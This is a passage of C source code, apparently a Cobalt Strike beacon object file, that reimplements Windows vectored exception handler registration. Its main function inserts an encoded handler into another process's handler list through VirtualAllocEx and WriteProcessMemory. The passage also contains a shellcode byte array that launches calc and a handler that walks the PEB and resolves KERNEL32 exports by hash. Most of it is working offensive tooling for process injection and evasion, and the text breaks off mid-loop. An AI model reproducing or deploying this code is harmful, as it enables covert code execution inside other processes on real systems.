BaseAddress = 0 ;
RegionSize = (ULONG_PTR )LdrpAllocationGranularity ;
result = NtAllocateVirtualMemory (NtCurrentProcess (), & BaseAddress , 0 , & RegionSize , MEM_RESERVE , PAGE_READWRITE );
if (NT_SUCCESS (result ))
{
pHeap = RtlCreateHeap (HEAP_GROWABLE , BaseAddress , 0 , 0 , 0 , 0 );
if (pHeap )
{
alloc = RtlAllocateHeap (pHeap , 0 , 4 );
if (alloc )
{
ProtectHeap = TRUE;
RtlProtectHeap (pHeap , ProtectHeap );
LdrProtectMrdata (FALSE);
AcquireSRWLockExclusive (& LdrpMrdataLock );
// Now we allocated a READONLY heap, lets update the global variables
if (!LdrpMrdataHeap )
{
// LdrpMrdataHeapUnprotected will either be NULL or address of alloc
LdrpMrdataHeapUnprotected = alloc ;
LdrpMrdataHeap = pHeap ;
ReleaseSRWLockExclusive (& LdrpMrdataLock );
LdrProtectMrdata (TRUE);
return STATUS_SUCCESS ;
}
ReleaseSRWLockExclusive (& LdrpMrdataLock );
LdrProtectMrdata (TRUE);
RtlProtectHeap (pHeap , 0 );
RtlFreeHeap (pHeap , 0 , alloc );
}
RtlDestroyHeap (pHeap );
}
// Free memory we allocated with NtAllocateVirtualMemory
// We get here if RtlCreateHeap or RtlAllocateHeap failed
NtFreeVirtualMemory (NtCurrentProcess (), & BaseAddress , & RegionSize , MEM_RELEASE );
// Should always hit STATUS_NO_MEMORY here, since we never successfully called RtlAllocateHeap
// However another thread may have already allocated it, so we double check (I guess?)
if (!LdrpMrdataHeap )
return STATUS_NO_MEMORY ;
return STATUS_SUCCESS ;
}
// If NtAllocateVirtualMemory fails, we just return it's NT_STATUS
return result ;
}
ULONG RtlpRemoveVectoredHandlerEx (PVOID Handle )
{
return 0 ;
}
ULONG RtlpRemoveVectoredHandler (PVOID Handle )
{
// If the function succeeds, the return value is nonzero.
// If the function fails, the return value is zero.
return 0 ;
}
PVECTORED_HANDLER_ENTRY RtlpAddVectoredHandlerEx (
IN HANDLE hProc ,
IN ULONG FirstHandler ,
IN PVECTORED_EXCEPTION_HANDLER VectoredHandler ,
IN BOOL IsUsingVCH )
{
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
//DFR_LOCAL(KERNEL32, WriteProcessMemory);
//DFR_LOCAL(KERNEL32, VirtualAllocEx);
//DFR_LOCAL(KERNEL32, VirtualProtectEx);
//DFR_LOCAL(KERNEL32, GetLastError);
//DFR_LOCAL(MSVCRT, calloc);
//DFR_LOCAL(MSVCRT, free);
ULONG cookie = 0 ;
PVOID alloc1 = NULL ;
void * headAddr = NULL ;
void * handlerListAddr = NULL ;
PVECTORED_HANDLER_ENTRY entry = NULL ;
PVECTORED_HANDLER_ENTRY myEntry = NULL ;
PVECTORED_HANDLER_ENTRY newEntry = NULL ;
PVECTORED_HANDLER_LIST head = NULL ;
PLIST_ENTRY Flink = NULL ;
PLIST_ENTRY Blink = NULL ;
DWORD oldProtect = 0 ;
SIZE_T bytesWritten = 0 ;
SIZE_T bytesRead = 0 ;
if (hProc == NULL )
return NULL ;
HMODULE ntdll = GetModuleHandleA ("ntdll" );
if (ntdll == 0 )
return NULL ;
BeaconPrintf (CALLBACK_OUTPUT , "RtlpAddVectoredHandler" );
// 1fc98bca-1ba9-4397-93f9-349ead41e057
// GUID guid = { 0x1fc98bca, 0x1ba9, 0x4397, {0x93, 0xf9, 0x34, 0x9e, 0xad, 0x41, 0xe0, 0x57} };
if (TRUE) // NT_SUCCESS(LdrEnsureMrdataHeapExistsEx(hProc)) && RtlQueryProtectedPolicy(&guid, &policyEnabled) || !policyEnabled)
{
if (LdrControlFlowGuardEnforced ())
{
// TODO
return NULL ;
}
// Allocate Heap to store new VECTORED_HANDLER_ENTRY structure
newEntry = (PVECTORED_HANDLER_ENTRY )VirtualAllocEx (hProc , 0 , sizeof (VECTORED_HANDLER_ENTRY ), MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE );
if (newEntry == NULL )
{
BeaconPrintf (CALLBACK_ERROR , "VirtualAllocEx(newEntry) returned NULL" );
return NULL ;
}
myEntry = (PVECTORED_HANDLER_ENTRY )calloc (1 , sizeof (VECTORED_HANDLER_ENTRY ));
if (myEntry == NULL )
{
BeaconPrintf (CALLBACK_ERROR , "Unable to allocate new entry in current process" );
goto CLEANUP_EXIT ;
}
BeaconPrintf (CALLBACK_OUTPUT , "Allocated myEntry in current proc at: %p" , myEntry );
BeaconPrintf (CALLBACK_OUTPUT , "Allocated newEntry in remote proc at: %p" , newEntry );
cookie = GetProcessCookie (hProc );
// Allocate memory to store refcount in myEntry->Unknown1 (init: 1)
alloc1 = (PVECTORED_HANDLER_ENTRY )VirtualAllocEx (hProc , 0 , sizeof (DWORD64 ), MEM_COMMIT | MEM_RESERVE , PAGE_READWRITE );
if (alloc1 == NULL )
{
BeaconPrintf (CALLBACK_ERROR , "VirtualAllocEx(alloc1) returned NULL" );
goto CLEANUP_EXIT ;
}
// Write the 1 value to the alloc1 (refcount) pointer
DWORD64 refs = 1 ;
if (!WriteProcessMemory (hProc , alloc1 , & refs , sizeof (DWORD64 ), NULL ))
{
BeaconPrintf (CALLBACK_ERROR , "WriteProcessMemory(alloc1) returned FALSE" );
goto CLEANUP_EXIT ;
}
// Set refcount to pointer of the 1 value we already wrote
myEntry -> Unknown1 = (DWORD64 * )alloc1 ;
// Always 0
myEntry -> Unknown2 = 0 ;
// Encode the address with the remote process cookie
myEntry -> Handler = (PVECTORED_EXCEPTION_HANDLER )_rotr64 ((ULONG_PTR )VectoredHandler ^ cookie , cookie & 0x3F );
// Add the new entry into the remote LdrpVectorHandlerList
headAddr = ((byte * )GetLdrpVectorHandlerList () + (IsUsingVCH * sizeof (PVOID )));
handlerListAddr = ((byte * )headAddr + offsetof(VECTORED_HANDLER_LIST , HandlerList )); // 0x8
head = (PVECTORED_HANDLER_LIST )calloc (1 , sizeof (VECTORED_HANDLER_LIST ));
if (head == NULL )
{
BeaconPrintf (CALLBACK_ERROR , "Unable to allocate %d bytes for VECTORED_HANDLER_LIST" , sizeof (VECTORED_HANDLER_LIST ));
goto CLEANUP_EXIT ;
}
if (!ReadProcessMemory (hProc , headAddr , head , sizeof (VECTORED_HANDLER_LIST ), & bytesRead )
|| bytesRead != sizeof (VECTORED_HANDLER_LIST ))
{
BeaconPrintf (CALLBACK_ERROR , "Unable to read handler list. Read=%d, Error=%d" , bytesRead , GetLastError ());
goto CLEANUP_EXIT ;
}
// Print metadata
BeaconPrintf (CALLBACK_OUTPUT , "head->SrwLock: %#llx" , head -> SrwLock );
BeaconPrintf (CALLBACK_OUTPUT , "&head->HandlerList: %#llx" , handlerListAddr );
BeaconPrintf (CALLBACK_OUTPUT , "head->HandlerList->Flink: %p" , head -> HandlerList .Flink );
BeaconPrintf (CALLBACK_OUTPUT , "head->HandlerList->Blink: %p" , head -> HandlerList .Blink );
// Add correct bitmask to Peb->CrossProcessFlags for VEH/VCH if list was previously empty ..
if (head -> HandlerList .Flink == handlerListAddr )
{
BOOL result = SetCrossProcessFlags (hProc , IsUsingVCH ? 0x8 : 0x4 );
BeaconPrintf (CALLBACK_OUTPUT , "SetCrossProcessFlags: %d" , result );
}
if (FirstHandler )
{
BeaconPrintf (CALLBACK_OUTPUT , "Adding First Handler" );
entry = (PVECTORED_HANDLER_ENTRY )calloc (1 , sizeof (VECTORED_HANDLER_ENTRY ));
if (entry == NULL )
goto CLEANUP_EXIT ;
if (!ReadProcessMemory (hProc , head -> HandlerList .Flink , entry , sizeof (VECTORED_HANDLER_ENTRY ), NULL ))
{
BeaconPrintf (CALLBACK_ERROR , "Unable to read handler list" );
goto CLEANUP_EXIT ;
}
// if (head->HandlerList.Flink->Blink == &head->HandlerList)
Flink = head -> HandlerList .Flink ;
PVOID FlinkBlinkAddr = ReadPointer (hProc , ((byte * )Flink + offsetof(LIST_ENTRY , Blink ))); // 0x8
BeaconPrintf (CALLBACK_OUTPUT , "FlinkBlinkAddr: %llx" , FlinkBlinkAddr );
if (FlinkBlinkAddr == handlerListAddr ) // valid list
{
// Flink = HandlerList->Entry.Flink;
BeaconPrintf (CALLBACK_OUTPUT , "Flink: %#llx" , Flink );
myEntry -> Entry .Flink = Flink ; // Sets our Flink to whatever was first in the list (or &HandlerList if it was empty)
myEntry -> Entry .Blink = (PLIST_ENTRY )handlerListAddr ; // Set our Blink to HandlerList head
head -> HandlerList .Flink = (PLIST_ENTRY )newEntry ; // Set the first entry to our alloc'ed record address
// Make the page writeable
if (!VirtualProtectEx (hProc , headAddr , 0x1000 , PAGE_READWRITE , & oldProtect ))
{
BeaconPrintf (CALLBACK_ERROR , "Unable to update page permissions for handler list" );
goto CLEANUP_EXIT ;
}
BeaconPrintf (CALLBACK_OUTPUT , "oldProtect: %d" , oldProtect );
// Set the next entries Blink to our new entry (i.e. insert our record at the beginning of the list)
// head->HandlerList.Flink->Blink = &newEntry->Entry;
if (Flink == handlerListAddr )
{
// No existing entries, we can update our local copy of the HandlerList->Blink instead, before writing it back
// This saves a wasted WriteProcessMemory call
head -> HandlerList .Blink = (PLIST_ENTRY )newEntry ;
}
else
{
// Existing entry already exists, update its Blink to our new entry
BOOL isProtected = (((byte * )FlinkBlinkAddr - (byte * )headAddr ) > 0x1000 );
BeaconPrintf (CALLBACK_OUTPUT , "FlinkBlinkAddr: %#llx (protected: %d)" , FlinkBlinkAddr , isProtected );
PVOID pNewEntry = newEntry ;
if (!WriteProcessMemory (hProc , ((byte * )Flink + offsetof(LIST_ENTRY , Blink )), & pNewEntry , sizeof (PVOID ), & bytesWritten ))
{
BeaconPrintf (CALLBACK_ERROR , "Unable to write head->HandlerList.Flink->Blink to: %#llx, error=%d, written=%d" ,
FlinkBlinkAddr , GetLastError (), bytesWritten );
goto CLEANUP_EXIT ;
}
}
// Write the VEH entry
if (!WriteProcessMemory (hProc , newEntry , myEntry , sizeof (VECTORED_HANDLER_ENTRY ), & bytesWritten ))
{
BeaconPrintf (CALLBACK_ERROR , "Unable to write handler entry to remote proc" );
goto CLEANUP_EXIT ;
}
// Write the updated list
if (!WriteProcessMemory (hProc , headAddr , head , sizeof (VECTORED_HANDLER_LIST ), & bytesWritten ))
{
BeaconPrintf (CALLBACK_ERROR , "Unable to write handler list to remote proc" );
goto CLEANUP_EXIT ;
}
}
else
{
BeaconPrintf (CALLBACK_ERROR , "FlinkBlinkAddr(%#llx) != handlerListAddr(%#llx)" , FlinkBlinkAddr , handlerListAddr );
}
}
else
{
BeaconPrintf (CALLBACK_OUTPUT , "Adding Last Handler" );
BeaconPrintf (CALLBACK_OUTPUT , "head->HandlerList = %p" , handlerListAddr );
Flink = head -> HandlerList .Flink ;
Blink = head -> HandlerList .Blink ;
PVOID BlinkFlinkAddr = ReadPointer (hProc , ((byte * )Blink + offsetof(LIST_ENTRY , Flink ))); // 0x0
BeaconPrintf (CALLBACK_OUTPUT , "BlinkFlinkAddr: %llx" , BlinkFlinkAddr );
// if ( Blink->Flink == HandlerList )
if (BlinkFlinkAddr == handlerListAddr ) // valid list
{
//newEntry->Entry.Flink = &head->HandlerList;
//newEntry->Entry.Blink = Blink;
//Blink->Flink = &newEntry->Entry;
//head->HandlerList.Blink = &newEntry->Entry;
BeaconPrintf (CALLBACK_OUTPUT , "Flink: %#llx" , Flink );
myEntry -> Entry .Flink = (PLIST_ENTRY )handlerListAddr ; // Next entry is beginning of list (i.e. we are last entry)
myEntry -> Entry .Blink = Blink ; // Set our Blink to the previous last entry
head -> HandlerList .Blink = (PLIST_ENTRY )newEntry ; // Set the HandlerList Blink (i.e. last) entry to ours
// Make the page writeable
if (!VirtualProtectEx (hProc , headAddr , 0x1000 , PAGE_READWRITE , & oldProtect ))
{
BeaconPrintf (CALLBACK_ERROR , "Unable to update page permissions for handler list" );
goto CLEANUP_EXIT ;
}
BeaconPrintf (CALLBACK_OUTPUT , "oldProtect: %d" , oldProtect );
// Set the head->HandlerList.Blink to our new entry (i.e. the last record in the list)
// Blink->Flink = &newEntry->Entry;
if (Blink == handlerListAddr )
{
// No existing entries, we can update our local copy of the HandlerList->Flink instead, before writing it back
// This saves a wasted WriteProcessMemory call
head -> HandlerList .Flink = (PLIST_ENTRY )newEntry ;
}
else
{
// Existing entry already exists, update its Flink to our new entry
BOOL isProtected = (((byte * )BlinkFlinkAddr - (byte * )headAddr ) > 0x1000 );
BeaconPrintf (CALLBACK_OUTPUT , "BlinkFlinkAddr: %#llx (protected: %d)" , BlinkFlinkAddr , isProtected );
PVOID pNewEntry = newEntry ;
if (!WriteProcessMemory (hProc , ((byte * )Blink + offsetof(LIST_ENTRY , Flink )), & pNewEntry , sizeof (PVOID ), & bytesWritten ))
{
BeaconPrintf (CALLBACK_ERROR , "Unable to write head->HandlerList.Blink->Flink to: %#llx, error=%d, written=%d" ,
BlinkFlinkAddr , GetLastError (), bytesWritten );
goto CLEANUP_EXIT ;
}
}
// Write the VEH entry
if (!WriteProcessMemory (hProc , newEntry , myEntry , sizeof (VECTORED_HANDLER_ENTRY ), & bytesWritten ))
{
BeaconPrintf (CALLBACK_ERROR , "Unable to write handler entry to remote proc" );
goto CLEANUP_EXIT ;
}
// Write the updated list
if (!WriteProcessMemory (hProc , headAddr , head , sizeof (VECTORED_HANDLER_LIST ), & bytesWritten ))
{
BeaconPrintf (CALLBACK_ERROR , "Unable to write handler list to remote proc" );
goto CLEANUP_EXIT ;
}
}
}
}
CLEANUP_EXIT :
if (head != NULL )
free (head );
if (myEntry != NULL )
free (myEntry );
if (entry != NULL )
free (entry );
if (headAddr && oldProtect )
VirtualProtectEx (hProc , headAddr , 0x1000 , oldProtect , & oldProtect );
BeaconPrintf (CALLBACK_OUTPUT , "RtlpAddVectoredHandlerEx done" );
return newEntry ;
}
PVECTORED_HANDLER_ENTRY RtlpAddVectoredHandler (
IN ULONG FirstHandler ,
IN PVECTORED_EXCEPTION_HANDLER VectoredHandler ,
IN BOOL IsUsingVCH )
{
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(NTDLL, AcquireSRWLockExclusive);
//DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive);
bool v15 ;
DWORD checked ;
PVOID pHeap ;
PVOID ProcessHeap ;
PVOID alloc1 ;
VECTORED_HANDLER_ENTRY * newEntry ;
LIST_ENTRY * Flink ;
LIST_ENTRY * Blink ;
DWORD isLdrpMrdataHeapUnprotected ;
BOOLEAN Protect ;
NTSTATUS status ;
ULONG cookie = 0 ;
ULONG_PTR policyEnabled = 0 ;
HMODULE ntdll = GetModuleHandleA ("ntdll" );
if (ntdll == 0 )
return NULL ;
// TODO: syscalls
NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS )GetProcAddress (ntdll , "NtQueryInformationProcess" );
RtlQueryProtectedPolicy = (RTLQUERYPROTECTEDPOLICY )GetProcAddress (ntdll , "RtlQueryProtectedPolicy" );
RtlRaiseStatus = (RTLRAISESTATUS )GetProcAddress (ntdll , "RtlRaiseStatus" );
RtlAllocateHeap = (RTLALLOCATEHEAP )GetProcAddress (ntdll , "RtlAllocateHeap" );
RtlProtectHeap = (RTLPROTECTHEAP )GetProcAddress (ntdll , "RtlProtectHeap" );
RtlFreeHeap = (RTLFREEHEAP )GetProcAddress (ntdll , "RtlFreeHeap" );
BeaconPrintf (CALLBACK_OUTPUT , "RtlpAddVectoredHandler" );
// 1fc98bca-1ba9-4397-93f9-349ead41e057
GUID guid = { 0x1fc98bca , 0x1ba9 , 0x4397 , {0x93 , 0xf9 , 0x34 , 0x9e , 0xad , 0x41 , 0xe0 , 0x57 } };
if (NT_SUCCESS (LdrEnsureMrdataHeapExists ()) && RtlQueryProtectedPolicy (& guid , & policyEnabled ) || !policyEnabled )
{
BeaconPrintf (CALLBACK_OUTPUT , "ProtectedPolicy == FALSE" );
if (LdrControlFlowGuardEnforced ())
{
BeaconPrintf (CALLBACK_OUTPUT , "LdrControlFlowGuardEnforced == TRUE" );
AcquireSRWLockExclusive (& LdrpMrdataLock );
checked = * (DWORD * )LdrpMrdataHeapUnprotected ;
if (* (DWORD * )LdrpMrdataHeapUnprotected )
{
// Seems like an overflow check
if (checked == -1 )
goto RELEASE_LDRPDATALOCK_AND_FAIL_WITH_ERROR_14 ;
}
else
{
// Make LdrpMrdataHeap PAGE_READWRITE
RtlProtectHeap (LdrpMrdataHeap , 0 );
}
// Sets LdrpMrdataHeapUnprotected = TRUE
* (DWORD * )LdrpMrdataHeapUnprotected = checked + 1 ;
ReleaseSRWLockExclusive (& LdrpMrdataLock );
}
// ProcessHeap should be READWRITE now
if (LdrControlFlowGuardEnforced ())
ProcessHeap = LdrpMrdataHeap ;
else
ProcessHeap = NtCurrentPeb ()-> ProcessHeap ;
// Allocate Heap to store new VECTORED_HANDLER_ENTRY structure
//BeaconPrintf(CALLBACK_OUTPUT, "sizeof(VECTORED_HANDLER_ENTRY) == %zu\n", sizeof(VECTORED_HANDLER_ENTRY));
newEntry = (VECTORED_HANDLER_ENTRY * )RtlAllocateHeap (ProcessHeap , 0 , sizeof (VECTORED_HANDLER_ENTRY ));
BeaconPrintf (CALLBACK_OUTPUT , "Allocated newEntry at: %p" , newEntry );
// If RtlAllocateHeap failed ..
if (!newEntry )
{
RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN :
// Just return pVecNewEntry if CFG was already disabled
if (!LdrControlFlowGuardEnforced ())
return newEntry ;
// otherwise re-enable LdrpMrdataHeap Protection first
AcquireSRWLockExclusive (& LdrpMrdataLock );
isLdrpMrdataHeapUnprotected = * (DWORD * )LdrpMrdataHeapUnprotected ;
if (LdrpMrdataHeapUnprotected )
{
v15 = isLdrpMrdataHeapUnprotected == 1 ;
Protect = (unsigned int )(isLdrpMrdataHeapUnprotected - 1 );
* (DWORD * )LdrpMrdataHeapUnprotected = Protect ;
if (v15 )
{
Protect = 1 ;
RtlProtectHeap (LdrpMrdataHeap , Protect );
}
ReleaseSRWLockExclusive (& LdrpMrdataLock );
return newEntry ;
}
RELEASE_LDRPDATALOCK_AND_FAIL_WITH_ERROR_14 :
ReleaseSRWLockExclusive (& LdrpMrdataLock );
__fastfail (0xE );
}
// Reserved: Always 0
newEntry -> Unknown2 = 0 ;
// Allocate heap space and store the address in pVecNewEntry->Unknown1
alloc1 = RtlAllocateHeap (NtCurrentPeb ()-> ProcessHeap , 0 , sizeof (DWORD64 ));
newEntry -> Unknown1 = (DWORD64 * )alloc1 ;
if (!alloc1 )
{
// If RtlAllocateHeap failed then free LdrpMrdataHeap / ProcessHeap
// and then return NULL
if (LdrControlFlowGuardEnforced ())
pHeap = LdrpMrdataHeap ;
else
pHeap = NtCurrentPeb ()-> ProcessHeap ;
RtlFreeHeap (pHeap , 0 , newEntry );
newEntry = NULL ;
goto RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN ;
}
* (DWORD64 * )alloc1 = 1 ;
BeaconPrintf (CALLBACK_OUTPUT , "pVecNewEntry->Unknown1: %d" , * newEntry -> Unknown1 );
if (!g_CookieValue )
{
status = NtQueryInformationProcess (
(HANDLE )0xFFFFFFFFFFFFFFFF ,
(PROCESSINFOCLASS )36 ,
& cookie ,
sizeof (ULONG ),
NULL );
if (status < 0 )
RtlRaiseStatus (status );
g_CookieValue = cookie ;
BeaconPrintf (CALLBACK_OUTPUT , "Cookie: %lu" , cookie );
}
// Encode the Handler pointer using the process cookie value
newEntry -> Handler = (PVECTORED_EXCEPTION_HANDLER )_rotr64 ((ULONG_PTR )VectoredHandler ^ cookie , cookie & 0x3F );
PVECTORED_HANDLER_LIST LdrpVectorHandlerList = (PVECTORED_HANDLER_LIST )GetLdrpVectorHandlerList ();
PVECTORED_HANDLER_LIST head = & LdrpVectorHandlerList [IsUsingVCH ];
BeaconPrintf (CALLBACK_OUTPUT , "LdrpVectorHandlerList = %#llx" , * (ULONG_PTR * )LdrpVectorHandlerList );
BeaconPrintf (CALLBACK_OUTPUT , "head = %p" , & head );
BeaconPrintf (CALLBACK_OUTPUT , "head->SrwLock = %p" , head -> SrwLock );
BeaconPrintf (CALLBACK_OUTPUT , "head->HandlerList = %p" , & head -> HandlerList );
// Unprotect .mrdata and acquire the LdrpVectorHandlerList VEH/VCH SRW lock
LdrProtectMrdata (0 );
AcquireSRWLockExclusive (head -> SrwLock );
// Add correct bitmask to NtCurrentPeb()->CrossProcessFlags for VEH/VCH if list was previously empty ..
if (head -> HandlerList .Flink == & head -> HandlerList )
{
BOOL status = _interlockedbittestandset ((LONG * )((PBYTE )NtCurrentPeb () + 0x50 ), IsUsingVCH + 2 );
BeaconPrintf (CALLBACK_OUTPUT , "_interlockedbittestandset: %d" , status );
}
BeaconPrintf (CALLBACK_OUTPUT , "NtCurrentPeb()->CrossProcessFlags: %d" , * (LONG * )((PBYTE )NtCurrentPeb () + 0x50 ));
if (FirstHandler )
{
BeaconPrintf (CALLBACK_OUTPUT , "Adding First Handler" );
BeaconPrintf (CALLBACK_OUTPUT , "Flink = %p" , head -> HandlerList .Flink );
BeaconPrintf (CALLBACK_OUTPUT , "Blink = %p" , head -> HandlerList .Blink );
BeaconPrintf (CALLBACK_OUTPUT , "head->HandlerList = %p" , & head -> HandlerList );
if (head -> HandlerList .Flink -> Blink == & head -> HandlerList )
{
BeaconPrintf (CALLBACK_OUTPUT , "address of newEntry: %p" , newEntry );
Flink = head -> HandlerList .Flink ;
newEntry -> Entry .Flink = Flink ;
newEntry -> Entry .Blink = & head -> HandlerList ;
Flink -> Blink = & newEntry -> Entry ;
head -> HandlerList .Flink = & newEntry -> Entry ;
ReleaseSRWLockExclusive (head -> SrwLock );
LdrProtectMrdata (1 );
goto RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN ;
}
}
else
{
BeaconPrintf (CALLBACK_OUTPUT , "Adding Last Handler" );
BeaconPrintf (CALLBACK_OUTPUT , "Flink = %p" , head -> HandlerList .Flink );
BeaconPrintf (CALLBACK_OUTPUT , "Blink = %p" , head -> HandlerList .Blink );
BeaconPrintf (CALLBACK_OUTPUT , "head->HandlerList = %p" , & head -> HandlerList );
Blink = head -> HandlerList .Blink ;
if (Blink -> Flink == & head -> HandlerList )
{
BeaconPrintf (CALLBACK_OUTPUT , "address of newEntry: %p" , newEntry );
newEntry -> Entry .Flink = & head -> HandlerList ;
newEntry -> Entry .Blink = Blink ;
Blink -> Flink = & newEntry -> Entry ;
head -> HandlerList .Blink = & newEntry -> Entry ;
ReleaseSRWLockExclusive (head -> SrwLock );
LdrProtectMrdata (1 );
goto RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN ;
}
}
__fastfail (3 );
}
return NULL ;
}
void CauseCrash ()
{
//DFR_LOCAL(KERNEL32, VirtualAlloc);
//DFR_LOCAL(KERNEL32, RaiseException);
//DFR_LOCAL(MSVCRT, memcpy);
void * addr = VirtualAlloc (0 , 0x1000 , MEM_COMMIT | MEM_RESERVE , PAGE_READONLY );
BeaconPrintf (CALLBACK_OUTPUT , "Alloc: 0x%#llx" , addr );
BYTE bytes [0x10 ] = { };
memcpy ((void * )0x41414141 , (void * )0x42424242 , 0x43434343 );
}
void TestAddHandlerDefault ()
{
//DFR_LOCAL(KERNEL32, RaiseException);
//DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler);
AddVectoredExceptionHandler (TRUE, & MyVectoredHandler );
DumpHandlers (FALSE, FALSE);
//RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
CauseCrash ();
}
void TestAddHandlerCustom ()
{
//DFR_LOCAL(KERNEL32, RaiseException);
RtlpAddVectoredHandler (TRUE, & MyVectoredHandler , FALSE);
DumpHandlers (FALSE, FALSE);
//RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
CauseCrash ();
}
unsigned char calcBytes [113 ] = {
0x31 , 0xC0 , 0x50 , 0x68 , 0x63 , 0x61 , 0x6C , 0x63 , 0x54 , 0x59 , 0x50 , 0x40 ,
0x92 , 0x74 , 0x15 , 0x51 , 0x64 , 0x8B , 0x72 , 0x2F , 0x8B , 0x76 , 0x0C , 0x8B ,
0x76 , 0x0C , 0xAD , 0x8B , 0x30 , 0x8B , 0x7E , 0x18 , 0xB2 , 0x50 , 0xEB , 0x1A ,
0xB2 , 0x60 , 0x48 , 0x29 , 0xD4 , 0x65 , 0x48 , 0x8B , 0x32 , 0x48 , 0x8B , 0x76 ,
0x18 , 0x48 , 0x8B , 0x76 , 0x10 , 0x48 , 0xAD , 0x48 , 0x8B , 0x30 , 0x48 , 0x8B ,
0x7E , 0x30 , 0x03 , 0x57 , 0x3C , 0x8B , 0x5C , 0x17 , 0x28 , 0x8B , 0x74 , 0x1F ,
0x20 , 0x48 , 0x01 , 0xFE , 0x8B , 0x54 , 0x1F , 0x24 , 0x0F , 0xB7 , 0x2C , 0x17 ,
0x8D , 0x52 , 0x02 , 0xAD , 0x81 , 0x3C , 0x07 , 0x57 , 0x69 , 0x6E , 0x45 , 0x75 ,
0xEF , 0x8B , 0x74 , 0x1F , 0x1C , 0x48 , 0x01 , 0xFE , 0x8B , 0x34 , 0xAE , 0x48 ,
0x01 , 0xF7 , 0x99 , 0xFF , 0xD7
};
unsigned char dbgBytes [4 ] = { 0xcc , 0xcc , 0xcc , 0xcc };
void AddHardwareBreakpoint (HANDLE hThread , void * addr , int index )
{
//DFR_LOCAL(KERNEL32, SetThreadContext);
//DFR_LOCAL(KERNEL32, GetLastError);
CONTEXT ctx = { 0 };
ctx .ContextFlags = CONTEXT_DEBUG_REGISTERS ;
EnableBreakpoint (& ctx , addr , 0 );
if (!SetThreadContext (hThread , & ctx ))
{
BeaconPrintf (CALLBACK_ERROR , "Error setting hardware breakpoint" );
BeaconPrintf (CALLBACK_ERROR , "Error status: %lu" , GetLastError ());
}
}
typedef FARPROC (WINAPI * _GetProcAddress )(HMODULE , LPCSTR );
typedef HMODULE (WINAPI * _GetModuleHandleA )(LPCSTR );
typedef BOOL (WINAPI * _VirtualProtect )(LPVOID , SIZE_T , DWORD , PDWORD );
typedef UINT (WINAPI * _WinExec )(LPCSTR , UINT );
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks ;
LIST_ENTRY InMemoryOrderLinks ;
LIST_ENTRY InInitializationOrderLinks ;
LPVOID DllBase ;
LPVOID EntryPoint ;
ULONG SizeOfImage ;
UNICODE_STRING FullDllName ;
UNICODE_STRING BaseDllName ;
} LDR_DATA_TABLE_ENTRY , * PLDR_DATA_TABLE_ENTRY ;
//#define BOF
LONG CALLBACK ShellcodeFunc (PEXCEPTION_POINTERS ExceptionInfo )
{
#pragma warning( disable : 6011 )
#if defined(_DEBUG ) && defined(BOF ) && defined(_WIN64 )
BeaconPrintf (CALLBACK_OUTPUT , "Got instruction pointer value: %p" , ExceptionInfo -> ContextRecord -> Rip );
#elif defined(_DEBUG ) && defined(BOF ) && !defined(_WIN64 )
BeaconPrintf (CALLBACK_OUTPUT , "Got instruction pointer value: %p" , ExceptionInfo -> ContextRecord -> Eip );
#endif
#if defined(_WIN64 )
PPEB peb = (PPEB )__readgsqword (0x60 );
#else
PPEB peb = (PPEB )__readfsdword (0x30 );
#endif
PPEB_LDR_DATA ldr = (PPEB_LDR_DATA )peb -> LoaderData ;
PLIST_ENTRY head = & ldr -> InMemoryOrderModuleList ;
PLIST_ENTRY curr = head -> Flink ;
// Iterate through every loaded DLL in the current process
PVOID dllBase = NULL ;
do {
PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD (curr , LDR_DATA_TABLE_ENTRY , InMemoryOrderLinks );
// djb2 hash function
unsigned long hash = 5381 ;
int c ;
PWCHAR dllName = (PWCHAR )dllEntry -> BaseDllName .Buffer ;
while ((c = * dllName ++ ))
hash = ((hash << 5 ) + hash ) + c ;
#if defined(_DEBUG ) && defined(BOF )
BeaconPrintf (CALLBACK_OUTPUT , "DLL: %ls, Hash=%lu" , dllEntry -> BaseDllName .Buffer , hash );
#endif
/*
Can use BaseDllName or FullDllName
BaseDllName: ntdll.dll
Hash: 584300013
BaseDllName: KERNEL32.DLL
Hash: 1843107157
BaseDllName: KERNELBASE.dll
Hash: 65814507
FullDllName: C:\\Windows\\System32\\KERNEL32.DLL
Hash: 174753947
FullDllName: C:\WINDOWS\System32\KERNEL32.DLL
Hash: 4236524507
*/
// KERNEL32.DLL
if (hash == 1843107157 ) {
dllBase = dllEntry -> DllBase ;
}
curr = curr -> Flink ;
} while (curr != head );
if (dllBase == 0 )
goto EXIT_FUNC ;
#if defined(_DEBUG ) && defined(BOF )
BeaconPrintf (CALLBACK_OUTPUT , "Finished parsing export table" );
BeaconPrintf (CALLBACK_OUTPUT , "DLL Base: 0x%X" , dllBase );
#endif
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER )dllBase ;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS )((byte * )dllBase + dosHeader -> e_lfanew );
DWORD exportDescriptorOffset = ntHeaders -> OptionalHeader .DataDirectory [IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress ;
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY )((byte * )dllBase + exportDescriptorOffset );
PDWORD func = (PDWORD )((byte * )dllBase + exportTable -> AddressOfFunctions );
PDWORD names = (PDWORD )((byte * )dllBase + exportTable -> AddressOfNames );
PWORD ord = (PWORD )((byte * )dllBase + exportTable -> AddressOfNameOrdinals );
_VirtualProtect pVirtualProtect = NULL ;
_GetModuleHandleA pGetModuleHandleA = NULL ;
_GetProcAddress pGetProcAddress = NULL ;
int n = 0 ;
do {
